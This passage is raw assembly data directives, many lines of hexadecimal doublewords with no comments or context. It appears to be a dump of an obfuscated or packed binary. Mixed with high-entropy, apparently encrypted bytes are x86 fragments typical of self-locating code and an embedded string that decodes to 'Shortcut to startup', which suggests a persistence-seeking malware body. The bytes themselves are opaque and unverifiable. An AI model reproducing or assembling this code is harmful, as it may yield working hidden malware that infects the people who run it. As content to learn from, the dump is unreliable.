6035D619h, 0D6BD454Eh, 6D3C07A2h dd 2288CEDFh, 48884525h, 684725C1h, 6C2C8ECFh, 0AAFF6823h dd 6A314397h, 6EB14CEAh, 0D230434Ah, 76693B96h, 489C61Fh dd 0D0564543h, 0E983793Ah, 58A4F305h, 0FD98B66h, 683h dd 0C99D3100h, 8B06070Fh, 7154D8Dh, 0FC00B06h, 1C84h, 0CAC18000h dd 4E1CB58Dh, 8D290607h, 6070669h, 3B8h, 0D6B70F00h, 0D180E6FFh dd 0DF8B4005h, 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 72797BC3h, 8166DAF5h, 83DA34E2h dd 70FF5BDh, 9750006h, 3001BD83h, 74000607h, 8B535019h dd 403B8C0h, 85890000h, 607265Dh, 0AD0E9D8Dh, 0D3FF0609h dd 0BD83585Bh, 6073001h, 50177400h, 403B853h, 85890000h dd 607265Dh, 0A9AF9D8Dh, 0D3FF0609h, 0DF81585Bh, 2032FD15h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 74C35646h dd 0F3F2D74h, 685h, 9958900h, 8B060700h, 53006AC0h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 8D8917D9h, 6072491h, 712ADE61h, 4B46D4D4h, 557F01DCh dd 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h, 0A36EF5Eh dd 4E60339Fh, 0A5E4FFB4h, 179EF867h, 0A3BEA09Fh, 20392887h dd 0A3BA7967h, 2034C649h, 74ED71Bh, 2933339Fh, 2633831Dh dd 0CDB6C098h, 7635AAD2h, 6CEED615h, 0D963AF94h, 2121050Dh dd 2664839Eh, 23593598h, 6CDE1F15h, 0AB634B94h, 2A797B1Dh dd 0B3CC039Eh, 20349B95h, 0A23C1493h, 26336AA1h, 6CDEB015h dd 0CE639C94h, 26334DAAh, 0A3BEF6D8h, 203F196Bh, 0CBB624C8h dd 7635D8D2h, 0D5AFF67h, 0E2B0339Fh, 0CBB61794h, 763541D2h dd 6CEE2315h, 0D9635594h, 2121780Dh, 26513D9Eh, 0AD666A98h dd 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h, 260CD3DFh dd 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h, 31B948ABh dd 0AD03A718h dd 0AD63E868h, 2C88005Ah, 0CF33A998h, 2633D49Bh, 0A57D896Fh dd 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh, 0D9FDD697h dd 0E7B85667h, 7F6C8EC6h, 2637A851h, 6CE88815h, 0ABBE9C94h dd 203F0188h, 9320h, 0E7FC7800h, 7310271h, 0C783C8D0h dd 850F4904h, 0FFFFFFF2h, 4C10B58Dh, 8D8D060Ch, 60C4C2Fh dd 0E983CF2Bh, 20C88B05h, 2980B93Bh, 9C670A35h, 6E5B5AEAh dd 0AC660F8Dh, 0DD850336h, 6B010C33h, 83E95F32h, 60010C32h dd 0A95ACF69h, 9105286Eh, 1E052876h, 47010C32h, 9E44CF61h dd 58BC8F6Fh, 80070B32h, 4016883Dh, 0A40E0C32h, 10010C32h dd 69CB1BBh, 0A7E80A35h, 89010C33h, 615A1A7h, 0E0615C34h dd 4D891C8Dh, 2012E561h, 759B0C32h, 0D99BDEB9h, 0FAADDE8Fh dd 14D4A69Eh, 85BB3E5Fh, 4B8A6DD3h, 64058553h, 0C8510C58h dd 10010C31h, 50C25412h, 2548BBh, 62548B3h, 1010C25h, 73C25C72h dd 0CB2B5A21h, 27162DAFh, 119C8734h, 7070B1Fh, 0FA254033h dd 0EA520C58h, 1010C31h, 0DBC25712h, 442550BBh, 242548B3h dd 10010C24h, 0E2C25F71h, 99884F0Ah, 40627B3h, 110E46Ah dd 0E0760C32h, 0AD50C084h, 939F1A96h, 9D36D2DFh, 81417AA7h dd 331EDB7h, 0C2825334h, 6C94871Eh, 8F070B2Dh, 400103B8h dd 200BE532h, 31010C32h, 0DA779B5Ch, 9D0C6A5h, 0BF8A04B9h dd 7061697h, 7C498754h, 0CD0A5C52h, 260601EBh, 8C3B76Bh dd 6E6019E2h, 0FB3735B3h, 28A883Dh, 9C880C32h, 86062D53h dd 0F82DB354h, 4A08CDB1h, 13E95F32h, 28010C32h, 8D5ACF69h dd 8305286Eh, 15052876h, 0C3010C32h, 0A995CF61h, 20010C38h dd 21A067CCh, 3CB23BE6h, 3D816549h, 7D8403DBh, 8A010C32h dd 8704F9A7h, 81942F34h, 0AB070B28h, 90520D73h, 75FD7C1h dd 0CC02FF85h, 5F942F52h, 0E8070B27h, 80010C3Bh, 1C670F3Fh dd 78133B1Fh, 0D1826D54h, 898C2537h, 85070B32h, 414A9C0Bh dd 3A8403B9h, 83010C32h, 472EED87h, 3C8C8134h, 0F8070B7Ch dd 8010C3Fh, 0E9421773h, 0F25BFF1Ch, 0B7569109h, 8007E58Bh dd 0BFD70C32h, 7A5BF134h, 1002B468h, 0B58A0C32h, 2061C4Fh dd 64E0F3CAh, 6B60DFB9h, 83E95D32h, 60010C32h, 0A958CF6Bh dd 9105287Eh, 14052876h, 45010C32h, 0C2FECF63h, 0BA5B8837h dd 0E6783D9Eh, 642EC2B3h, 1EF68D54h, 21BC81DAh, 8507007Eh dd 84F7FBFh, 8175B434h, 84320DA0h, 86062D97h, 20C0C319h dd 2980B93Bh, 9C670A35h, 6E5B5AEAh, 0AC660F8Dh, 0DD850336h dd 6B010C33h, 5E98332h, 0C08BA4F3h, 2D71B58Bh, 0BD8B0607h dd 60716EDh, 11E8C38Bh, 0F000000h, 0A22C7748h, 84ED3198h dd 0BF33BE02h, 0E83FDE65h, 634BEA81h, 605B5070h, 1A9B589h dd 8A0F0607h, 6, 2AC99589h, 81610607h, 5BABC3h, 14E800h dd 956E0000h, 5469BAC9h, 3130A3DDh, 9168AD35h, 0D9700A7Ah dd 0B70FFBB6h, 0B95AD3h, 50000000h, 3225BD89h, 8B580607h dd 0EF810B3Ch, 1F5AEAD3h, 64155ABEh, 9BC7814Ch, 8B05E749h dd 0CBC781F0h, 6609C0E1h, 8DECF081h, 0E80B3C89h, 7, 0E3ADBED4h dd 810FAC19h, 8EC93EC2h, 0EE815E17h, 6EC39FCh, 0F04E983h dd 68Ah, 41852900h, 8106072Dh, 0FFA508F9h, 0A8850FFFh dd 0FFFFFFFh, 1FE9F6BFh, 0B3000000h, 79AB27h, 6 dup(0) dd 1DE90000h, 89000005h, 21EFCD8Eh, 0BC8A68F3h, 5B290754h dd 0F8C6A4B7h, 0C5603E1Dh, 76E530A7h, 0F4CCA98h, 0ABB06331h dd 4912FFCDh, 2EB5996Bh, 84D3BA4Ch, 458F7D1h, 0A3684E0Dh dd 85CD1AF4h, 4C07EA60h, 704E0D08h, 6EC6FA2h, 0AC25078Eh dd 67AA7EC7h, 8C85C984h, 0EA2BE9CFh, 8CCF4571h, 32F0EEA9h dd 0D5997CDFh, 9AF91C3Fh, 0E031EDD2h, 44CF9D7Bh, 4E6C3117h dd 0FFE168E0h, 847EC7ABh, 0C7270E41h, 6331A78Ah, 4488ABB0h dd 0E5A389D2h, 0F962B12Dh, 3460274Ah, 0E09B7EDDh, 0C51166D4h dd 0D586904Eh, 5E3CEBB2h, 0E3FB18D6h, 40072A31h, 27EAAE91h dd 0DC785FB7h, 2612A58Fh, 0DAA1C473h, 44F368AEh, 253D1421h dd 83657EC8h, 0F77E073Ch, 790DDE87h, 1B000000h, 0C2A5B65Dh dd 4E0D045Dh, 6B461E2Bh, 8C6E7EC7h, 0A2733137h, 4E37D6B9h dd 3DDE88B1h, 6, 0D5868D4Bh, 10048DF2h, 0F21546CEh, 556AF82Bh dd 6C5E1F7h, 72F97157h, 7EC7C990h, 0F8BD4E15h, 4BB61A6Ch dd 0BBA0709Ch, 3BD91DD8h, 59B9FD20h, 0D9571C02h, 1D661AC2h dd 0C625E0C3h, 0B75DB9FEh, 5472C20h, 829191E9h, 9D7B2AD9h dd 0A09542CFh, 8D081A8h, 39A88635h, 46CD1104h, 8806615h dd 0C76B9F81h, 0FEE1247Eh, 46CD4543h, 7EC76B64h, 0FFC3A6E9h dd 64234615h, 5ABB675Ch, 0BC552301h, 0C07E7C9Fh, 0A4E80B50h dd 593CEB70h, 22A97B95h, 7EC76B40h, 0B0D382C5h, 9AA116C4h dd 0DE88B7FBh, 7B90h, 1104B700h, 2DE3274Ah, 4CC70B2Eh dd 6EA8EC0Fh, 45CCCAEDh, 7EC76B63h, 965EA5E8h, 632B7221h dd 0CB90081Ch, 5147DC9Eh, 5F41367Ah, 0E47EC811h, 1BFABEA1h dd 81946240h, 9F73B7DAh, 111CFE85h, 5EA17EC8h, 0F2A08CAFh dd 981F978Dh, 7EC811B6h, 7615F83Bh, 0DE88111Fh, 446Ch dd 11049300h, 30E3274Ah, 0ABDF082Bh, 500B0AD4h, 0E125EA72h dd 0FC9EC24Bh, 1942CFFBh, 0E74C2FF6h, 284B1004h, 0C76B441Bh dd 358A6C7Eh, 0A7FA6A2Fh, 35E1B56Bh, 945B7EDDh, 226302E5h dd 69DE8830h, 1, 4F0C0490h, 0B529E82Ch, 13DAFD5Eh, 0C7354164h dd 71EA26F0h, 0CA100993h, 84D65DE4h, 90D378BFh, 70F76F6Dh dd 78C04E8Eh, 29EDD013h, 0C79573E8h, 0E1EE114Ah, 78C04E09h dd 8551265Ah, 23F1CF8Ch, 5733E9EEh, 123ED6B0h, 0FBAA5902h dd 0A77D94D8h, 3B302BE9h, 78BFEA59h, 0C9EC9BDEh, 0A8CB9085h dd 8CAFAC64h, 0C41E652Dh, 21E80B50h, 10D5CB72h, 0F49B16C6h dd 0DE6E51C9h, 87D43D99h, 0D88500A9h, 2406E48Fh, 14000001h dd 3833159Ch, 75B878C0h, 0D1482D92h, 6B694BD2h, 0ABEE7EC7h dd 0A1C4977Fh, 0BE452BDAh, 78C06F43h, 26088F07h, 6478C068h dd 86C9AEADh, 0C0E326A3h, 0E8C6957Ch, 7E64F71Ah, 25078E06h dd 0AA78C068h, 68907267h, 0D21578C0h, 783634EFh, 0D9A0C398h dd 7CDF32F6h, 0B5971E96h, 3A78C068h, 9A5914F7h, 20F12D92h dd 0D1B45D3Bh, 0BAE48FB4h, 2Ch, 0CD048E1h, 6B9D9F26h, 1F62FEC7h dd 6C0DEFFCh, 395FEC7h, 6AB2A6BCh, 6BFBFD84h, 7DC07EC7h dd 8D199Fh, 0DF9D0000h, 0DE432635h, 2309D148h, 0BF8BB19Ch dd 75FC7678h, 78C04C93h, 326D518h, 5AD252BFh, 0C04BF1D3h dd 3E337678h, 78C04C5Ch, 11EF9EE1h, 510CE43h, 4017E1D2h dd 0AB5AD73Bh, 0D5DA0C78h, 38E79A86h, 80521715h, 0C8AB6156h dd 0C79C290Ch, 1878BFD2h, 0CE439FE4h, 0D66D0D09h, 98471262h dd 0F12930BAh, 690D840Bh, 87CA72B3h, 2B8DDCA1h, 13E1B25Ch dd 0E0317530h, 264912FEh, 818DB05Fh, 0A3B6AC13h, 970E957Bh dd 546CA779h, 48C43311h, 0AB2309D1h, 23526EDh, 0ABBB67DAh dd 50DDC03Ch, 78BB8FD9h, 0EC305396h, 0D0583625h, 395CFF12h dd 23058C72h, 0A878BBF1h, 53BE8265h, 0FAD8E508h, 15F91465h dd 65AC764Dh, 7E5638BFh, 98DBF914h, 2B3E03E9h, 67AFBA5Bh dd 0D961D7BAh, 6AF8DA61h, 3A7DF914h, 0DD7E9357h, 0BF9C76BAh dd 0A2B9589Ch, 6D83B7Fh, 7DA04F0Ch, 0CD8AF183h, 0CA146BD9h dd 0DC7F9747h, 90814F2Dh, 8ACA8CBh, 30000000h, 0D6B9A272h dd 4152071h, 0E1254813h, 0C4082B30h, 0A5E90C4Fh, 83C7EA71h dd 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh, 2A2B4E0Dh dd 81595451h, 4C1h, 4E98300h, 5C240C87h, 81E68956h, 4C6h dd 4EE8300h, 5C243487h, 50243489h, 405E089h, 2D000000h dd 4, 5C240487h, 53241C89h, 692288BBh, 0DBA525Bh, 895D656Dh dd 0DE315AD6h, 1C8B545Bh, 4C48124h, 51000000h, 4B89F189h dd 240C8B08h, 0FF04C483h, 835B2434h, 348B04C4h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 0FB26D9E9h, 78BEF9FFh dd 6089D3CEh, 5E24DE48h, 1B85661Ah, 0C5412B8h, 0FFC50306h dd 6ECE86E0h, 6AE2E951h, 0AEEEBA02h, 3F2E0929h, 0B0E949h dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h, 71B2D85h dd 36840F06h, 3B000000h, 71B0185h, 2A840F06h, 3B000000h dd 71E9585h, 1E840F06h, 3B000000h, 7021185h, 12840F06h dd 83000000h, 726E1BDh, 840F0106h, 5, 5FE9h, 3D08B00h dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h dd 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh dd 0DE9FFFFh, 8D000000h, 74E1C9Dh, 5B806h, 0E3FF0000h dd 0D00BC361h, 56308D8Dh, 6A060Ch, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0CEFFCEC3h, 8B60B868h dd 8961F5CEh, 706798Dh, 0C3B70F06h, 2CE585C7h, 5F400607h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8B3019C3h, 730F59Dh, 585C706h, 6072Dh, 0F000000h dd 387h, 5BF85100h, 0C5B589h, 0B5FF0607h, 6070659h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1AC35545h, 0EB87F351h dd 0FF8CC48Eh, 700BD95h, 88B0F06h, 0F000000h, 28Dh, 6A616000h dd 0B595FF00h, 8B060716h, 895AEBC0h, 0E2CF70F0h, 0DC5B9550h dd 358FE8A2h, 9F02D71Bh, 45FD5349h, 118962C7h, 0D3CD1A7Fh dd 0A9F6FE36h, 0D2711F11h, 0F6B40F18h, 0A860A957h, 4E382E5h dd 0BE97E67Eh, 0D68F330Eh, 16FAEC5Dh, 7A28C1A4h, 39D00D6Bh dd 81CBFB10h, 3F2FD59Dh, 0AF024773h, 939CB53h, 1D0AD90Ch dd 11E89Fh, 0D72D0000h, 174A7354h, 0E1CCE665h, 0F8CCAFB5h dd 0E92B7B8Eh, 5, 0CFE5FF8Bh, 7E95E01h, 3E000000h, 0FA18B7DCh dd 0C681F3AAh, 69A3h, 41858Bh, 0C92B0607h, 38A0Fh, 0B70F0000h dd 3134FFC2h, 16158589h, 665F0607h, 81B19EB8h, 57A506C7h dd 659D8B20h, 8106070Ch, 0D0D55EF7h, 0E19D035Eh, 8106071Ah dd 7957C4EFh, 8AE28030h, 2D9D2357h, 8F060726h, 7E80E04h dd 0D9000000h, 1E2319B0h, 0BD29BEA0h, 60704E9h, 6E958h dd 4B810000h, 29093CF6h, 4208E981h, 8B661ADDh, 4C181C2h dd 0E91ADD42h, 0Ah, 5CAA7D48h, 0F519FAB1h, 0F981F93Fh dd 0FFFF9754h, 24850Fh, 6E90000h, 37000000h, 98431866h dd 2BE9A8h, 0E08E0000h, 752FEBF6h, 63DAEF24h, 422DC92Eh dd 330B2374h, 8D8933FAh, 6072F3Dh dd 0FFFF50E9h, 406A71FFh, 79193634h, 0AA9200F0h, 0CD9D8DDBh dd 0B8060709h, 39h, 254D8589h, 0E80607h, 58000000h, 0D05h dd 0E9038900h, 39h, 0Eh dup(77E60000h), 2EE9FFh, 43B00000h dd 43AAh, 0Ah dup(0) dd 4F1E9h, 6BF02700h, 655BF8Dh, 0A5B65A28h, 4219F9C7h dd 0DC7F9664h, 0CE0963FEh, 68361447h, 1CFADAEh, 9D6B4912h dd 3709E774h, 0C2EACC53h, 956F84D3h, 4E0D04F6h, 2D2EE72Bh dd 4E90814Fh, 0AC7396C5h, 7B96DAFDh, 0FABFBDE0h, 0F1683A99h dd 4D11F4E3h, 127194C7h, 0E3789E5Ch, 1CFF5CB7h, 7331378Ch dd 18FA81A3h, 9D7EC7EEh, 0C188AB5Ah, 2DF71ADEh, 0C7EDC4A6h dd 5706497Eh, 0FB60B371h, 3FD4A218h, 37BE361Ch, 7EC7ED55h dd 3EB497DAh, 4219F8B6h, 0E3789B5Fh, 1204C2C0h, 74A26649h dd 4AB8C4E7h, 6D6AA975h, 0DDD120Ch, 0CA92DE29h, 4D87C4F7h dd 8B5937E6h, 31EFD586h, 0DD987BE0h, 0C850F9D0h, 783F217Eh dd 87CBC2C3h, 57C9DEh, 19D70000h, 1A7F62F9h, 44D10D04h dd 38456817h, 7EC76B60h, 2AD1A688h, 0DE88B15Bh, 7FDC35F3h dd 71B2955Ch, 1, 4B100498h, 0F430E428h, 0C76B8B6Dh, 1ECD107Eh dd 7038FDFBh, 2F639123h, 0F51DE1C4h, 54C28066h, 3A1DE407h dd 6358207Fh, 20FE5DB7h, 0BE9CBF52h, 4A11044Fh, 2A31E327h dd 7B404807h, 0F0EE27E5h, 4E153823h, 1DF8BC9Fh, 59E0583Eh dd 7EC76B77h, 60D6B9FCh, 0B9DC7F92h, 9DC09B75h, 0A8BC03B1h dd 0F3229EAh, 6BA88A11h, 0EA2D7EC7h, 0DCB9583Bh, 0AFDE88B7h dd 9Fh, 4A1104D6h, 0F72DE327h, 0C76B8E70h, 21D0137Eh, 8F957D3Bh dd 0C76B2608h, 0B968AB7Eh, 62E9CF96h, 7EC76B80h, 24DFC205h dd 5C86FDC5h, 3CC4A2B9h, 0A6C9927Eh, 0DD38FCDFh, 0FB175B7Eh dd 13AA2DE3h, 0BD65D2CCh, 2A6E9140h, 0DAC06FECh, 0C7767153h dd 4B3F67Eh, 7047F5E1h, 88ACCACBh, 6EC1DEh, 4AE80000h dd 0BD58868Ch, 5CCEF9Eh, 0A4B75E22h, 85D63D81h, 65F61E62h dd 4615FE42h, 20972923h, 492E6273h, 5DFE15D3h, 0CC90733Ah dd 4FAA8E49h, 0DB5E8E7Bh, 48F764AFh, 0ED6EA462h, 425940Ah dd 1B284B10h, 7EC76B44h, 9640977Ah, 0F2AD6BDDh, 0A4E80BBAh dd 428A6770h, 692E7C6Bh, 0D0D897BAh, 9072ACEBh, 0FB71142Bh dd 11ADE87h, 41000000h, 2C4F0C04h, 0F3229E8h, 0F42E9503h dd 0D7613F1Ch, 2FB69C42h, 78BF84A8h, 302BE6A4h, 0ADCBDCFDh dd 65483A27h, 8482A5E8h, 0ED104BC6h, 927F4326h, 0F41DEBC9h dd 0FBAE29EAh, 0BD94EAB2h, 38FF22D1h, 0AA686689h, 5133BA6Ah dd 0D678BF6Fh, 7401E493h, 78BF6F9Ch, 18C2B9EDh, 0B68462F9h dd 99DD005Bh, 7CC0E378h, 5B9FC299h, 9979A5B6h, 13A59FC2h dd 4048EFACh, 0E9729F7Bh, 0AD23620Bh, 4968E490h, 8F000001h dd 2309D148h, 0C070219Ch, 80A3E678h, 0A1830A82h, 2678C069h dd 0D53C00E3h, 37DAA886h, 54BD0124h, 2F25E407h, 694E30B7h dd 90D378C0h, 0C2A61DADh, 645387FDh, 0A487C726h, 442A31E0h dd 0AACD8E86h, 0E18A00E3h, 0E49053A4h, 74E7h, 8C4A0E00h dd 0ECB3D685h, 0CE918909h, 88E31645h, 421169EAh, 3AC1A756h dd 0FEC7CD38h, 1BFD84FCh, 59FEC7CDh, 0B57C9FBCh, 0C65A8DD0h dd 928C1FF4h, 0BA81FEE1h, 8FA61B5Fh, 384F6E9Ch, 0DFB16FA2h dd 0E6E407B6h, 4F72E928h, 0BDE8CA51h, 2A6DFEC7h, 290B987Bh dd 0B1FEC7BEh, 0BBE56C31h, 0A4284184h, 0D44A31C1h, 2BB2984Ch dd 7EC7F429h, 47CDABEEh, 88h, 9D148E4h, 8BB19C23h, 337678BFh dd 139A1210h, 78C04C31h, 9384CE68h, 8368B303h, 0F1D35A40h dd 7678BF77h, 858C5033h, 0E72AF8D6h, 903F1CF7h, 778B606Dh dd 0A8DC78BFh, 10D54DD3h, 0ADF3D13Eh, 0F3D5CA3Ch, 7878BFE7h dd 838E5235h, 0E034F2D8h, 9822987Bh, 0EC735981h, 72B34026h dd 2C2FE4A2h, 6689CC49h, 496CEF22h, 74E8CF3Dh, 0D9FC5FB6h dd 0AAAF2F12h, 41078E74h, 0BE6CA6E8h, 50159D7Bh, 8CB51E7Ch dd 0A90EF13Dh, 2309D148h, 0C551645Eh, 0B6E95C84h, 2A1584D4h dd 2AA88B22h, 0BB82DDA3h, 0F4175A78h, 1CFA61B0h, 7598C34Eh dd 14EDA968h, 0C7BC84B3h, 8765F61Bh, 0E00358B9h, 0C2E5769Ch dd 0A0C3987Eh, 81A4B75Ch, 5F2458h, 0FDD99E0Ch, 1546CA14h dd 57BA8866h, 3E5E104h, 82000000h, 13041520h, 30E12548h dd 4FC4082Bh, 71A5E90Ch, 9283C7EAh, 0B362A6C9h, 0D14185A8h dd 0ED23678Ah, 0D074B6Eh, 682A2B4Eh, 6DD3h, 68241C89h dd 43ADh, 68241489h, 6E07h, 51241C89h, 0D60FB5B9h, 0C981416Dh dd 431B0BE5h, 0FBADC181h, 87BAE559h, 31533553h, 8B5459CAh dd 0C481241Ch, 4, 0D6895655h, 895EF589h, 8B5D086Bh, 8957241Ch dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 2434FF5Ch, 4C4835Ah dd 0FB1E59E9h, 0A9B8F2FFh, 3060C5Ch, 0DCE0FFC5h, 2D1A2ED1h dd 0B7103460h, 0E3095D17h, 0EB4AC41Dh, 5A6B84E9h, 782A6E40h dd 0AA1FDA7Fh, 8973260Bh, 0E94EC07Eh, 0AB41F4DDh, 736884FFh dd 0F31A9729h, 89190841h, 40673BBBh, 5D743374h, 2646D1A4h dd 0BF001516h, 3E3C4B54h, 974FAE28h, 463E90A4h, 6C67DFD8h dd 0AB6B9A27h, 947E2856h, 5E0743CEh, 0A52A22Bh, 7C46A199h dd 0A474DB6Bh, 0C7298289h, 2B6C4362h, 93531205h, 0E907CD49h dd 8Dh, 4D8C0055h, 726F6853h, 74756374h, 206F7420h, 72617473h dd 707574h, 1Dh dup(0) dd 0F94E900h, 0D680000h, 0E9060C60h, 0FFFBE256h, 0C613268h dd 0E24CE906h, 0DC68FFFBh, 0E9060C62h, 0FFFBE242h, 0C631B68h dd 0E238E906h, 0B568FFFBh, 0E9060C63h, 0FFFBE22Eh, 0C643668h dd 0E224E906h, 5368FFFBh, 0E9060C68h, 0FFFBE21Ah, 0C6AC968h dd 0E210E906h, 0EF68FFFBh, 0E9060C6Bh, 0FFFBE206h, 2AA92277h dd 6EEDFEBFh, 0B02FBC03h, 0F6757645h, 3BBAC98Bh, 0FBB934CEh dd 0BEFE69E8h, 7541AC2Bh, 0C688F372h, 604534B3h, 4021E2EDh dd 69BEF020h, 82D2A3EDh, 0AE259EFFh, 7C53C6EDh, 56264C7Fh dd 165CCC2Dh, 21A02B75h, 6CE561ADh, 538FD9F9h, 11CD0F2Ch dd 7ED55207h, 3B715ED1h, 3861DFB4h, 0C70867D7h, 0B43B7B54h dd 59622DDFh, 0AE1D9AF5h, 1879DAE1h, 3B3C17B4h, 0A4F4DFB4h dd 0A60A99DBh, 0E586EA4Bh, 28AC109Bh, 0F9759663h, 0FED4B18h dd 0BC732D44h, 36h, 0D638E4E7h, 47A20685h, 0A8F66DE6h dd 0F262BD21h, 86D74E97h, 3C109505h, 162C53AFh, 0E7EC89EDh dd 0F4DFB4B0h, 960D4613h, 0D757C7C2h, 732DCAF9h, 118A6h dd 0A3EDD100h, 7F428D00h, 2190264Ch, 8FEA4E51h, 0C869CD2Eh dd 2093F78Ah, 290443DEh, 9BF65A6Dh, 0E7125529h, 5AD4FB6Eh dd 0D5FE264Ch, 792DC65h, 0F8B930A3h, 6C7F40E7h, 0B43DAD08h dd 7B54C7EAh, 2D264C5Ah, 9DF85C6Fh, 0B7EF720h, 264C5AC4h dd 584E50Eh, 4CA1849Eh, 0D7E2AC26h, 18A3ED58h, 64FF41B4h dd 6D21A9C9h, 0ED31C333h, 0EC505323h, 44B73091h, 2C53EA24h dd 0ECC2387Ah, 963D5C05h, 1F9EC726h, 6AE363ABh, 0AF1C05F7h dd 0B52E57D5h, 1C5C7C3Eh, 0B3491F11h, 8A017ADBh, 0CE41BAC9h dd 0D5A3C581h, 0D738A8D1h, 0F69B2E6Ch, 13BA9EACh, 0F53A7244h dd 0FA00000Ch, 42AD2CBFh, 86F17073h, 0C833B239h, 0E79F88Bh dd 51BE3D4Ch, 677A38B1h, 0AA3D7DE8h, 0F1F4C02Bh, 32B90772h dd 6CDFC4B3h, 20401F63h, 0EDE83D6Fh, 5AA31CAFh, 4C7FE8E7h dd 0DEB0EA26h, 0A67F61C4h, 5FC03091h, 9BD9AAF4h, 0D2ED9608h dd 0C954B9F0h, 35ACE968h, 94006467h, 2E0E5C8Fh, 0B12182D3h dd 5FD21B68h, 264C7F70h, 37C93962h, 57682997h, 0C60A7DF6h dd 102C53AFh, 622C6EE7h, 703B65D9h, 0D5D4A64Dh, 49821F65h dd 8ADFB405h, 0FF82D047h, 6BC9968Fh, 732D758Dh, 0C53Ah dd 93DC5300h, 0D949A408h, 18A3ED90h, 424113B4h, 7D0C52C9h dd 102AC70Dh, 38264C84h, 73EA6376h, 0E43FA320h, 468733Dh dd 6DD839A9h, 8A349823h, 0D649C242h, 0D3AC72D6h, 7F50C30Ch dd 53DFB48Eh, 325BBA2Ah, 0B8F970B9h, 0C568C327h, 0DFB48E8Ah dd 65C9D09Eh, 0F3538D0Ah, 14E4F4EEh, 667D738h, 51CA4A92h dd 0AE2A1FDEh, 0AD264FD5h, 4F292264h, 75CF72Ch, 3D4C0E97h dd 820153BEh, 0BB8E81DDh, 4B835513h, 0BD0h, 0D2515A1Fh dd 16951667h, 58D7E4ABh, 9E1DAEEDh, 0E3626133h, 13618C76h dd 0D6A61190h, 0ADE954D3h, 6E309B1Ah, 8EDDC5Bh, 401EBA95h dd 11669820h, 9D1CAFEDh, 0E45D6C32h, 2898236Dh, 0A41B9CC7h dd 126DD1D4h, 445719A2h, 52713FE0h, 4C7FF0DFh, 2773E226h dd 63E243A4h, 0AE272FEFh, 1CAFEE65h, 434817B8h, 0B32384DFh dd 53A0A62Eh, 168FB82Ch, 0A1755ACDh, 345DDFB4h, 0C20B7EC4h dd 0B4A1004Fh, 596C28DFh, 0F41D9AF5h, 0A1D4FF84h, 2607DFB4h dd 0DA1DFB59h, 7CA732Dh, 0F5000000h, 7F856h, 38E4A900h dd 2830A31Ch, 6A2C539Fh, 0C428BBFBh, 188F0869h, 7CD14356h dd 94773D24h, 2093D949h, 751172DEh, 0F2C3E3B7h, 972090F1h dd 0D843C2C9h, 0EAFDBD96h, 0E8B92B86h, 8AFB975h, 1FBC2081h dd 7468A36Ah, 0EE27F425h, 32A22977h, 55D4E7A9h, 0B115A4EAh dd 0FFA23814h, 85FCF7B4h, 4C45B536h, 8AFD467Fh, 0B4FFA245h dd 6BF4648Dh, 0AC179625h, 0D673D7E2h, 0B4FFA2FEh, 512097E8h dd 1F8FEA4Eh, 0A9205926h, 975D9EAh, 3762BE21h, 7AEA4BE2h dd 9D1CAFF1h, 0F95D6C32h, 30768F4Fh, 69B973C9h, 0BE31AA0Bh dd 0BEE0F152h, 565CDB04h, 0DF67A74Eh, 0C4A3F366h, 0B7F9A0FFh dd 73AB3FEEh, 0B61585E1h, 0B2AC098Dh, 8D82F897h, 0D94CC541h dd 84C68425h, 2FA2062Fh, 0A729A6EDh, 7F412475h, 99B0B6Ch dd 26F930C5h, 0C97C69F8h, 367CEF68h, 648ED889h, 0A4BC23Bh dd 37AE0979h, 78E36269h, 28FEA336h, 207CD6DBh, 0A26164Eh dd 8CC90000h, 40117CFBh, 0A55C03Fh, 0C4970281h, 9FDD48C7h dd 0E2208D0Ch, 0B736B507h, 0FA790C4Ch, 41C0CB8Fh, 820188D6h dd 143BAE93h, 3E20401Dh, 0A3EDB70Ch, 23837318h, 0C193E055h dd 9E789h, 3A4D0800h, 7E0150BBh, 0C0CB94FFh, 685D641h dd 4B5E1C87h, 4AA35FCCh, 8FFA7908h, 0D23DBCCFh, 19840386h dd 0D6C54457h, 1C517EF1h, 4F812040h, 18A3EDFAh, 8BCA41B4h dd 0C93994F8h, 0F06F7240h, 9B43D2EAh, 3F8F027Bh, 912C53ABh dd 6DADEF68h, 697A399Fh, 8A38AA05h, 6937DE26h, 598CF262h dd 0AF1396E2h, 4F5FE454h, 6E11F1E5h, 901360AEh, 0F770D12Ch dd 69709884h, 4DB1DA14h, 62DB7BA3h, 653485EFh, 35AED71Eh dd 6AE9F0BEh, 852AB1FFh, 0CC7C7097h, 4D81B98Bh, 0A2000009h dd 0EA55D4D7h, 2E9918ABh, 70DB5A61h, 0B621A023h, 0F966E5E4h dd 0F92E009h, 52552590h, 992C68D3h, 0DAE1AF1Ah, 14876C5Bh dd 20401C3Bh, 1B90E517h, 45E444D9h, 3C7FC6F3h, 8FF04BAFh dd 0C1C8961Fh, 0EDF8BC5Dh, 0B768076Eh, 5777264Ch, 6EC336AFh dd 282C5814h, 410F86FFh, 14A0AF22h, 89B2DFB8h, 703EA928h dd 3B79F069h, 79E944A8h, 0C1C09233h, 0EDF8BC5Dh, 0A148C448h dd 0BEF6C819h, 8CCh, 0D6555623h, 1A992A6Bh, 5CDBE0AFh dd 0A221A2F1h, 0E7666537h, 1F5D887Ah, 0D2A20D8Ch, 91E550CFh dd 622C9716h, 4E9D857h, 401BBE91h, 0D629420h, 7D07A3EDh dd 90FABE48h, 